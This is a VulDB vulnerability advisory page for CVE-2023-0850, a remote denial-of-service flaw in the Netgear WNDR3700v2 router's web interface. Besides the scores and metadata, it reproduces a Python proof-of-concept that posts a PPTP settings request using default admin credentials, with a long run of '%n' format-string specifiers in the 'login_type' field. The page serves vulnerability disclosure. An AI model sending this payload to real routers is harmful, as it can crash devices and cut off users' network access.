VDB-221153 · Submit #87904 · CVE-2023-0850

Netgear WNDR3700v2 1.0.1.14 Web Interface denial of service

CVSS Meta Temp Score CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.	Current Exploit Price (≈) Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.	CTI Interest Score Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
4.2	$0-$5k	0.00

Summaryinfo

A vulnerability identified as problematic has been detected in Netgear WNDR3700v2 1.0.1.14. This impacts an unknown function of the component Web Interface. The manipulation leads to denial of service. This vulnerability is listed as CVE-2023-0850. The attack may be initiated remotely. In addition, an exploit is available.

Detailsinfo

A vulnerability was found in Netgear WNDR3700v2 1.0.1.14 (Wireless LAN Software) and classified as problematic. This issue affects some unknown functionality of the component Web Interface. The manipulation with an unknown input leads to a denial of service vulnerability. Using CWE to declare the problem leads to CWE-404. The product does not release or incorrectly releases a resource before it is made available for re-use. Impacted is availability.

The weakness was presented 02/15/2023. The identification of this vulnerability is CVE-2023-0850. Technical details are unknown but a public exploit is available. MITRE ATT&CK project uses the attack technique T1499 for this issue.

The exploit is available at vuldb.com. It is declared as proof-of-concept. The code used by the exploit is:

import requests,socket
import re
import time
from urllib.parse import urlencode

username = 'admin'
password = 'password'
device_web_ip = '192.168.1.1'

request = {'HEAD':
  {'Host': '{}'.format(device_web_ip), 
  'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 
  'Accept-Language': 'en-US,en;q=0.5', 
  'Accept-Encoding': 'gzip, deflate', 
  'Content-Type': 'application/x-www-form-urlencoded', 
  'Origin': 'http://127.0.0.1:8081', 
  #'Authorization': 'Basic YWRtaW46cGFzc3dvcmQ=', 
  'Connection': 'keep-alive', 
  'Referer': 'http://127.0.0.1:8081/BAS_pptp.htm', 
  'Upgrade-Insecure-Requests': '1'
  }, 
  'PARAM':
  {'submit_flag': 'pptp', 
  'change_wan_type': 0, 
  'run_test': 'no', 
  'pptp_myip': '192.168.55.5', 
  'pptp_gateway': '192.168.55.6', 
  'pptp_subnet': '255.255.255.0', 
  'pptp_dnsaddr1': '192.168.55.1', 
  'pptp_dnsaddr2': '192.168.55.2', 
  'hidden_pptp_idle_time': 5, 
  'conflict_wanlan': '', 
  'hid_mtu_value': 1436, 
  'hid_pptp_dod': 1,
  'login_type': 'PPTP"%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n""%n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There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Productinfo

Type

Wireless LAN Software

Vendor

Netgear

Name

WNDR3700v2

Version

1.0.1.14

License

commercial

Website

Vendor: https://www.netgear.com/

CPE 2.3info

🔍

CPE 2.2info

🔍

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 4.3
VulDB Meta Temp Score: 4.2

VulDB Base Score: 2.7
VulDB Temp Score: 2.5
VulDB Vector: 🔍
VulDB Reliability: 🔍

NVD Base Score: 7.5
NVD Vector: 🔍

CNA Base Score: 2.7
CNA Vector (VulDB): 🔍

CVSSv2info

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

Vector	Complexity	Authentication	Confidentiality	Integrity	Availability
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Denial of service
CWE: CWE-404
CAPEC: 🔍
ATT&CK: 🔍

Physical: No
Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

0-Day	Unlock	Unlock	Unlock	Unlock
Today	Unlock	Unlock	Unlock	Unlock

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: no mitigation known
Status: 🔍

0-Day Time: 🔍

Timelineinfo

02/15/2023 🔍
02/15/2023 +0 days 🔍
02/15/2023 +0 days 🔍
03/16/2023 +29 days 🔍

Sourcesinfo

Vendor: netgear.com

Status: Not defined

CVE: CVE-2023-0850 (🔍)
GCVE (CVE): GCVE-0-2023-0850
GCVE (VulDB): GCVE-100-221153
scip Labs: https://www.scip.ch/en/?labs.20161013

Entryinfo

Created: 02/15/2023 22:50
Updated: 03/16/2023 10:22
Changes: 02/15/2023 22:50 (40), 03/16/2023 10:17 (2), 03/16/2023 10:22 (28)
Complete: 🔍
Submitter: leetsun
Cache ID: 216::103

Submitinfo

Accepted

Submit #87904: DoS attack on the web management interface of Netgear router WNDR3700v2 (by leetsun)

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Discussion

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